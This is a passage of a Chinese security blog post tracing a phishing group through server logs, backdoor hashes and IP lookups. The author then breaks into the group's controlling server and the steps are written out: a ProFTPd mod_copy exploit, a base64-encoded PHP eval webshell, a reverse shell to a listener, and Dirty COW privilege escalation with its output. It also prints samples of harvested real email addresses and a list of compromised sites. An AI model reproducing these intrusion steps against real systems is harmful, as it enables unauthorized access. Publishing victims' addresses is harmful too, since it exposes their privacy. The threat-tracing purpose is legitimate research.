  11. -rw-r--r-- 1 1365 1328 35748 11 30 21:15 pigmentnews.publik.live-Nov-2018.gz
  12. -rw-r--r-- 1 1365 1328 7709 11 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz
  13. -rw-r--r-- 1 1365 1328 129055 11 30 21:15 publik.live-Nov-2018.gz
  14. -rw-r--r-- 1 1365 1328 14487 11 30 21:15 publik.live-ssl_log-Nov-2018.gz
  15. -rw-r--r-- 1 1365 1328 88292 11 30 21:15 zebramedia.publik.live-Nov-2018.gz
  16. -rw-r--r-- 1 1365 1328 139759 11 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz
  17. -rw-r--r-- 1 1365 1328 6047261 11 30 21:15 zeri-popullit.publik.live-Nov-2018.gz
  18. -rw-r--r-- 1 1365 1328 52004 11 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz

分析

  1. 根据后门文件名匹配Apache访问日志到攻击者代理IPUser Agent
  2. root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq
  3. 148 197.211.61.82 (尼日利亚)
  4. 8 178.128.221.199 希腊
  5. root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
  6. 178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
  7. 197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

4.5.2 网站helioncomposites.com

打包

  1. 日志路径:
  2. /home2/helionco/access-logs/helioncomposites.com/
  3. 日志备份:
  4. ls /home2/helionco/logs/
  5. ftp.helioncomposites.com-ftp_log-Feb-2018.gz
  6. helioncomposites.com-Dec-2018.gz
  7. helioncomposites.com-Nov-2018.gz
  8. helioncomposites.com-ssl_log-Dec-2018.gz
  9. helioncomposites.com-ssl_log-Nov-2018.gz
  10. tar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz /home2/helionco/www/
  11. tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/

下载

  1. wget http://helioncomposites.com/helioncomposites.com-log.tar.gz
  2. wget http://helioncomposites.com/helioncomposites.com-www.tar.gz

分析

  1. 根据后门文件名匹配Apache访问日志到攻击者代理IPUser Agent
  2. root@kali /tmp grep ".php" * |grep "/home2/helionco/public_html/" |grep "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
  3. 1137 198.143.51.17
  4. 588 198.143.38.3
  5. 478 198.143.41.14
  6. 246 198.143.32.13
  7. 131 198.143.32.3
  8. 103 198.143.57.3
  9. 86 198.143.57.73
  10. 84 198.143.57.5
  11. 46 198.143.32.10
  12. 32 198.143.37.15
  13. ......
  14. root@kali /tmp for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; done
  15. IP: 198.143.51.17 来自: 以色列 Incapsula
  16. IP: 198.143.38.3 来自: 美国 Incapsula
  17. IP: 198.143.41.14 来自: 美国 Incapsula
  18. IP: 198.143.32.13 来自: 美国 Incapsula
  19. IP: 198.143.32.3 来自: 美国 Incapsula
  20. IP: 198.143.57.3 来自: 美国 Incapsula
  21. IP: 198.143.57.73 来自: 美国 Incapsula
  22. IP: 198.143.57.5 来自: 美国 Incapsula
  23. IP: 198.143.32.10 来自: 美国 Incapsula
  24. ......

这个网站由于日志不全提取出的IP大都是爬虫IP所以不纳入最终的汇总。

4.5.3 发现钓鱼程序

网站 zebramedia.al 上发现多个攻击者放置的钓鱼程序和模板。

针对Dropbox 
邮件钓鱼攻击与溯源针对Gmail

邮件钓鱼攻击与溯源

4.6 关联分析

使用之前得到的后门文件中的关键字config.php对这3个网站文件进行匹配发现其中2个存在相同后门文件并且文件MD5值相同。

  1. root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}'
  2. ./rosturplast.com/www/rosturplast.com/shells/config.php
  3. ./mirohaviar.sk/www/config.php
  4. ./zebramedia.al/www/zebramedia.al/config.php
  5. ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

后门文件MD5

  1. root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sum
  2. e5c06f1f66781ba5c39d909096c4cd47 ./rosturplast.com/www/rosturplast.com/shells/config.php
  3. e5c06f1f66781ba5c39d909096c4cd47 ./mirohaviar.sk/www/config.php
  4. e5c06f1f66781ba5c39d909096c4cd47 ./zebramedia.al/www/zebramedia.al/config.php
  5. e5c06f1f66781ba5c39d909096c4cd47 ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

五、渗透攻击者肉鸡服务器

5.1 漏洞扫描

目标187.85.134.4

[+] HOST: 187.85.134.4巴西 
[+] OS: Ubuntu 
[+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19 
[+] CMS: 未知

  1. nmap --script=firewalk --traceroute 187.85.134.4

邮件钓鱼攻击与溯源

5. 漏洞利用

端口扫描发现目标 FTP Server为ProFTPd 1.3.4a这个版本和1.3.5存在未授权文件复制漏洞我们可以通过这个漏洞往Web目录写入一个WebShell。

  1. ProFTPd 1.3.5 Remote Command ExecutionCVE-2015-3306
  2. ProFTPD中使用的mod_copy模块存在未授权访问风险导致ProFTPD自带的命令 SITE CPFR SITE CPTO可在未登录ftp的情况被外部黑客所利用对系统文件进行任意复制。

邮件钓鱼攻击与溯源

5. 获取权限

使用用MSF执行 

邮件钓鱼攻击与溯源得到一个cmd功能的WebShell 

邮件钓鱼攻击与溯源

写入中国菜刀客户端

  1. http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -d >/var/www/index2.php

邮件钓鱼攻击与溯源

5.3 文件分析

在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

5.3.1 钓鱼模板

图示是针对丹麦丹斯克银行Danske Bank和希腊阿尔法银行Alpha Bank的邮件钓鱼样本。

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

5.3.2 僵尸网络程序

image.png邮件钓鱼攻击与溯源

5.3.3 DDOS脚本

邮件钓鱼攻击与溯源

5.3.4 邮箱地址

统计目录下的 txt 文本数量发现共有六十二万四千个邮箱地址。

  1. root@kali /tmp/187.85.134.4/www/cacat wc -l *.txt
  2. 624000 总用量

主流邮箱检索

  1. root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -n 20
  2. a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.com
  3. a0000001.txt:a.l.v.ertadsmileyksso@gmail.com
  4. a0000001.txt:a.lfer.gm@gmail.com
  5. a0000001.txt:a.lieseijsink@gmail.com
  6. a0000001.txt:a.linkhusen@gmail.com
  7. a0000001.txt:a.loldrup@gmail.com
  8. a0000001.txt:a.lovendahl@gmail.com
  9. a0000001.txt:a.lv.e.rtadsmileyksso@gmail.com
  10. a0000001.txt:a.lver.tadsmileyksso@gmail.com
  11. a0000001.txt:a.m.edsberg@gmail.com
  12. a0000001.txt:a.m.morcke@gmail.com
  13. a0000001.txt:a.m.quist@gmail.com
  14. a0000001.txt:a.m.svendsen@gmail.com
  15. a0000001.txt:a.merete.p@gmail.com
  16. a0000001.txt:a.mette.sm@gmail.com
  17. a0000001.txt:a.miller8111@gmail.com
  18. a0000001.txt:a.moejbaek@gmail.com
  19. a0000001.txt:a.moltkehansen@gmail.com
  20. a0000001.txt:a.munktved@gmail.com
  21. a0000001.txt:a.n.knutzen@gmail.com
  22. root@kali /tmp/187.85.134.4/www/cacat grep "@outlook.com" *.txt |head -n 20
  23. a0000001.txt:a.m.westra@outlook.com
  24. a0000001.txt:a.olsen@outlook.com
  25. a0000002.txt:aagren@outlook.com
  26. a0000003.txt:aandanimalcity@outlook.com
  27. a0000003.txt:aarhus-ungegruppe@outlook.com
  28. a0000004.txt:aase.lousdal@outlook.com
  29. a0000006.txt:abroschultz@outlook.com
  30. a0000008.txt:adamfred2@outlook.com
  31. a0000008.txt:adexecsolution@outlook.com
  32. a0000010.txt:adrian.f.a.svendsen@outlook.com
  33. a0000015.txt:aiah@outlook.com
  34. a0000015.txt:aimeegarcia584@outlook.com
  35. a0000016.txt:ajolicoeu@outlook.com
  36. a0000018.txt:akstrup@outlook.com
  37. a0000020.txt:alexander_bangsborg@outlook.com
  38. a0000020.txt:alexanderkopke@outlook.com
  39. a0000020.txt:ali__sivan@outlook.com
  40. a0000021.txt:alicegerner@outlook.com
  41. a0000022.txt:allanjeppesen@outlook.com
  42. a0000023.txt:allworlduseu@outlook.com
  43. root@kali /tmp/187.85.134.4/www/cacat grep "@163.com" *.txt |head -n 20
  44. a0000001.txt:a31a18615@163.com
  45. a0000001.txt:a398c671@163.com
  46. a0000059.txt:backlink0321@163.com
  47. a0000061.txt:banqianm8256@163.com
  48. a0000075.txt:bf86ad32@163.com
  49. a0000121.txt:cbb146672@163.com
  50. a0000129.txt:chenbin800519@163.com
  51. a0000134.txt:chuofuh3082@163.com
  52. a0000157.txt:davidhuang001@163.com
  53. a0000162.txt:dfjiuew@163.com
  54. a0000209.txt:f08dbf326@163.com
  55. a0000213.txt:fanxued79193@163.com
  56. a0000221.txt:fjfzpy@163.com
  57. a0000227.txt:fon@163.com
  58. a0000259.txt:guangdk@163.com
  59. a0000311.txt:huhuanqiang00161@163.com

5.4 提权

5.4.1 CVE-2013-2094CVE-2013-1763提权

查看apache日志目录发现没有权限。

  1. [/var/www/]$ls -al /var/log/apache2/
  2. ls: cannot open directory /var/log/apache2/: Permission denied

内核版本为3.5.0-23尝试提权。

  1. [/var/www/]$cat /etc/issue
  2. Ubuntu 12.04.2 LTS \n \l
  3. [/var/www/]$uname -an
  4. Linux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013 GNU/Linux

邮件钓鱼攻击与溯源

  1. WebShell反弹
  2. [/var/www/]$cd /var/tmp;./pty xxx.xxx.xxx.xxx 443
  3. 外网VPS监听
  4. socat file:`tty`,echo=0,raw tcp-listen:443

邮件钓鱼攻击与溯源

实际测试CVE-2013-2094CVE-2013-1763均无法提权。

  1. CVE-2013-2094
  2. Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu
  3. 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)
  4. CVE-2013-1763
  5. Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation

5.4.2 脏牛提权

祭出大杀器CVE-2016-5195脏牛 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。

在本地环境提权测试过程中发现i386架构下使用cowroot提权时EXP会破坏源文件导致提权失败。而使用dirtycow-mem仅修改内存则没有问题但是存在内核崩溃的风险。这两个EXP都是利用/proc/self/mem提权前一个修改文件后一个修改内存。

如图所示 
邮件钓鱼攻击与溯源

使用dirtycow-mem.c提权时需要注意i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径否则执行时找不到文件。

  1. #define SHELLCODE "\x31\xc0\xc3"
  2. #define SPACE_SIZE 256
  3. #define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" ## 改为 /lib/i386-linux-gnu/libc.so.6
  4. #define LOOP 0x1000000
  5. #ifndef PAGE_SIZE
  6. #define PAGE_SIZE 4096

Give me root  :提权成功。

  1. www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
  2. www-data@medidor2:/tmp$ ls
  3. hello
  4. www-data@medidor2:/tmp$ chmod +x hello
  5. www-data@medidor2:/tmp$ id
  6. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  7. www-data@medidor2:/tmp$ ./hello
  8. [*] range: b7573000-b7716000]
  9. [*] getuid = b762bd10
  10. [*] mmap 0xb73cb000
  11. [*] exploiting (patch)
  12. [*] patched (madviseThread)
  13. [*] patched (procselfmemThread)
  14. root@medidor2:/tmp# [*] exploiting (unpatch)
  15. [*] unpatched: uid=33 (madviseThread)
  16. [*] unpatched: uid=33 (procselfmemThread)
  17. root@medidor2:/tmp# id
  18. uid=0(root) gid=0(root) groups=0(root)

打包Apache日志。

  1. root@kali ls /var/log/apache2
  2. access error other_vhosts_access.log
  3. root@kali tar zcvf /var/www/apache2-log.tar.gz /var/log/apache2/
  4. root@kali /tmp ltor wget http://187.85.134.4/apache2-log.tar.gz
  5. [proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf
  6. [proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so
  7. [proxychains] DLL init
  8. --2019-01-09 22:09:00-- http://187.85.134.4/apache2-log.tar.gz
  9. 正在连接 187.85.134.4:80... [proxychains] Strict chain ... 127.0.0.1:9050 ... 187.85.134.4:80 ... OK
  10. 已连接。
  11. 已发出 HTTP 请求正在等待回应... 200 OK
  12. 长度9258688 (8.8M) [application/x-gzip]
  13. 正在保存至: apache2-log.tar.gz
  14. apache2-log.tar.gz 100%[===================>] 8.83M 29.6KB/s 用时 5m 45s
  15. 201-11-11 11:11:11 (26.2 KB/s) - 已保存 apache2-log.tar.gz [9258688/9258688])

5.5 分析日志

分析IP访问情况

  1. root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
  2. 95 185.56.80.138
  3. 77 197.211.60.52
  4. 70 67.71.3.8
  5. 59 207.35.210.35
  6. 41 99.226.207.46
  7. 41 193.215.40.238
  8. 39 197.211.59.163
  9. 38 82.61.95.132
  10. 38 66.249.73.95
  11. 37 76.26.34.181
  12. 37 197.234.221.77
  13. 31 105.112.27.60
  14. 29 105.112.23.41
  15. 20 109.166.138.68
  16. 16 66.249.79.61
  17. 16 197.211.61.18
  18. 14 212.100.77.191
  19. 12 197.234.221.210
  20. 8 66.249.79.35
  21. 8 66.249.73.64
  22. 7 154.118.69.165
  23. 5 66.249.73.67
  24. ......
  25. root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
  26. IP: 185.56.80.138 来自: 荷兰
  27. IP: 197.211.60.52 来自: 尼日利亚
  28. IP: 67.71.3.8 来自: 加拿大
  29. IP: 207.35.210.35 来自: 加拿大
  30. IP: 99.226.207.46 来自: 加拿大
  31. IP: 193.215.40.238 来自: 挪威
  32. IP: 197.211.59.163 来自: 尼日利亚
  33. IP: 82.61.95.132 来自: 意大利
  34. IP: 66.249.73.95 来自: Google 骨干网
  35. IP: 76.26.34.181 来自: 美国
  36. IP: 197.234.221.77 来自: 贝宁
  37. IP: 105.112.27.60 来自: 尼日利亚
  38. IP: 105.112.23.41 来自: 尼日利亚
  39. IP: 109.166.138.68 来自: 罗马尼亚
  40. IP: 66.249.79.61 来自: Google 骨干网
  41. IP: 197.211.61.18 来自: 尼日利亚
  42. IP: 212.100.77.191 来自: 尼日利亚
  43. IP: 197.234.221.210 来自: 贝宁
  44. IP: 66.249.79.35 来自: Google 骨干网
  45. IP: 66.249.73.64 来自: Google 骨干网
  46. IP: 154.118.69.165 来自: 尼日利亚
  47. IP: 66.249.73.67 来自: Google 骨干网
  48. ......

根据路径名判断疑似受害者访问了钓鱼页面。

  1. root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
  2. 109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
  3. 109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
  4. 185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
  5. 196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"
  6. 207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
  7. 197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"

查看web目录下txt文件访问情况总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。

  1. grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt

  1. root@kali ~/Desktop wc -l ip.txt
  2. 10101 ip.txt

5.6 访问IP热力图

5.6.1 IP转经纬度坐标

将获得的IP转换成经纬度坐标再通过百度地图API生成热力图

将IP转换成经纬度坐标脚本ip2xy.py 
生成经纬度坐标文件point.js 
全球IP库GeoLiteCity.dat

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. import pandas as pd
  4. import pygeoip
  5. import types
  6. import sys
  7. gi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE)
  8. def getLocal(ip):
  9. if type(ip) != types.StringType:
  10. print ip
  11. return
  12. location = gi.record_by_addr(ip)
  13. if location is None:
  14. print ip
  15. return
  16. lng = location['longitude']
  17. lat = location['latitude']
  18. str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n'
  19. print ip,lng,lat,str_temp
  20. file.write(str_temp)
  21. file = open('/tmp/point.js', 'w')
  22. file.write("var points =[\n")
  23. with open("/tmp/ip.txt") as f:
  24. i = 0
  25. for ip in f.readlines():
  26. getLocal(ip)
  27. file.write("];\n")
  28. file.close()

5.6.2 调用百度地图API

本地调用百度地图 JavaScript API map.html

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <!DOCTYPE html>
  5. <html>
  6. <head>
  7. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  8. <meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
  9. <script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填写自己的百度AK"></script>
  10. <script type="text/javascript" src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script>
  11. <script type="text/javascript" src="./point.js"></script>
  12. <title>热力图功能示例</title>
  13. <style type="text/css">
  14. ul,li{list-style: none;margin:0;padding:0;float:left;}
  15. html{height:100%}
  16. body{height:100%;margin:0px;padding:0px;font-family:"微软雅黑";}
  17. #container{height:100%;width:100%;}
  18. #r-result{width:100%;}
  19. </style>
  20. </head>
  21. <body>
  22. <div id="container"></div>
  23. <div id="r-result" style="display:none">
  24. <input type="button" onclick="openHeatmap();" value="显示热力图"/><input type="button" onclick="closeHeatmap();" value="关闭热力图"/>
  25. </div>
  26. </body>
  27. </html>
  28. <script type="text/javascript">
  29. var map = new BMap.Map("container"); // 创建地图实例
  30. var point = new BMap.Point(34.0224714118,109.0786868715);
  31. map.centerAndZoom(point, 6); // 初始化地图设置中心点坐标和地图级别
  32. map.setCurrentCity("西安"); //设置当前显示城市
  33. map.enableScrollWheelZoom(); // 允许滚轮缩放
  34. if(!isSupportCanvas()){
  35. alert('热力图目前只支持有canvas支持的浏览器,您所使用的浏览器不能使用热力图功能~')
  36. }
  37. //详细的参数,可以查看heatmap.js的文档 https://github.com/pa7/heatmap.js/blob/master/README.md
  38. //参数说明如下:
  39. /* visible 热力图是否显示,默认为true
  40. * opacity 热力的透明度,1-100
  41. * radius 势力图的每个点的半径大小
  42. * gradient {JSON} 热力图的渐变区间 . gradient如下所示
  43. * {
  44. .2:'rgb(0, 255, 255)',
  45. .5:'rgb(0, 110, 255)',
  46. .8:'rgb(100, 0, 255)'
  47. }
  48. 其中 key 表示插值的位置, 0~1.
  49. value 为颜色值.
  50. */
  51. heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});
  52. map.addOverlay(heatmapOverlay);
  53. heatmapOverlay.setDataSet({data:points,max:100});
  54. //closeHeatmap();
  55. //判断浏览区是否支持canvas
  56. function isSupportCanvas(){
  57. var elem = document.createElement('canvas');
  58. return !!(elem.getContext && elem.getContext('2d'));
  59. }
  60. function setGradient(){
  61. /*格式如下所示:
  62. {
  63. 0:'rgb(102, 255, 0)',
  64. .5:'rgb(255, 170, 0)',
  65. 1:'rgb(255, 0, 0)'
  66. }*/
  67. var gradient = {};
  68. var colors = document.querySelectorAll("input[type='color']");
  69. colors = [].slice.call(colors,0);
  70. colors.forEach(function(ele){
  71. gradient[ele.getAttribute("data-key")] = ele.value;
  72. });
  73. heatmapOverlay.setOptions({"gradient":gradient});
  74. }
  75. function openHeatmap(){
  76. heatmapOverlay.show();
  77. }
  78. function closeHeatmap(){
  79. heatmapOverlay.hide();
  80. }
  81. </script>
  82. </body>
  83. </html>

5.6.3 生成热力图

如图所示欧洲IP居多亚洲也不少。至于有多少主机沦陷和多少受害者上钩无法准确判断。

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

邮件钓鱼攻击与溯源

六、信息汇总

根据所得信息汇总对这个黑客组织信息进行简单分析仅供参考。

6.1 组织信息

名称

Muslim Cyber Corp – Mujahidin Cyber Army – Family Attack Cyber

地区

巴勒斯坦

成员ID

Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、 
./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4 
、 AKEMI403

历史邮箱

alexsin54@yahoo.com 
jasonchowan223@gmail.com 
macacperus@yopmail.com 
bidibidibidi@yopmail.com 
bidi.pici11@hotmail.com 
bidi.cuc@mail.com 
flrnvasilica@gmail.com

组织主页

http://mujahidincyberarmy.blogspot.com/ 
https://www.facebook.com/FamilyAttackCyberOfficial/

6.2 攻击手段

入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序批量传播钓鱼邮件。

攻击目标

早期政治目的居多主要攻击美国政府机构网站和雇员。近期多为商业目的主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。

控制主机

187.85.134.4

常用后门

6.3 攻击历史

美国联邦调查局、美国国土安全部、美国司法部

巴勒斯坦黑客已经发布了大约2万名联邦调查局FBI和9,000名国土安全部DHS官员的个人信息 
http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html

通过钓鱼邮件获得美国司法部权限 
http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html

6.4 代理IP

  1. 174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  2. 50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  3. 213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"
  4. 207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  5. 195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
  6. 29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
  7. 212.1.211.3 美国 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
  8. 178.128.221.199 希腊- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
  9. 197.211.61.82 尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

6.5 被黑网站

  1. 不完全统计
  2. rosturplast.com
  3. mirohaviar.sk
  4. helioncomposites.com
  5. radiolanalhue.cl
  6. zebramedia.al
  7. www.qtfontebispo.com
  8. www.seoeaze.com
  9. vilapoucadeaguiar.com
  10. proyectosphr.cl
  11. u-p.com
  12. www.humanaconsultores.cl
  13. amsogroup.com
  14. www.tdftechnologies.com
  15. www.bvvagos.pt
  16. www.huellasdigitales.cl
  17. lince.apsl.edu.pl
  18. www.fica.unsl.edu.ar
  19. proyectosphr.cl
  20. www.zlobek.uw.edu.pl
  21. ifr.pt
  22. mail.ijrer.org
  23. www.hkmms.org.hk
  24. historia.apsl.edu.pl
  25. www.homeguide.com.sg
  26. onlinecombos.co.in
  27. umo.apsl.edu.pl
  28. www.bpmp2t.lombokbaratkab.go.id
  29. amsogroup.com
  30. viper.cl
  31. www.teniscavancha.cl
  32. www.estacaomedica.pt
  33. terrarestobar.cl
  34. jf-bragado.pt
  35. helioncomposites.com
  36. notariabasualto.cl
  37. ericdiblasi.com
  38. reinamarltda.cl
  39. cobraz.pt
  40. www.stmarypellaia.com
  41. webcam.wm-itservice.at

七、攻击路径还原

复盘整个溯源过程还原攻击者攻击路径。

邮件钓鱼攻击与溯源

以上就是整个溯源过程仅供参考。 欢迎交流。

*本文作者:信陵君魏无忌,转载请注明来自FreeBuf.COM

发表评论

已有 34 条评论

取消
Loading...
css.php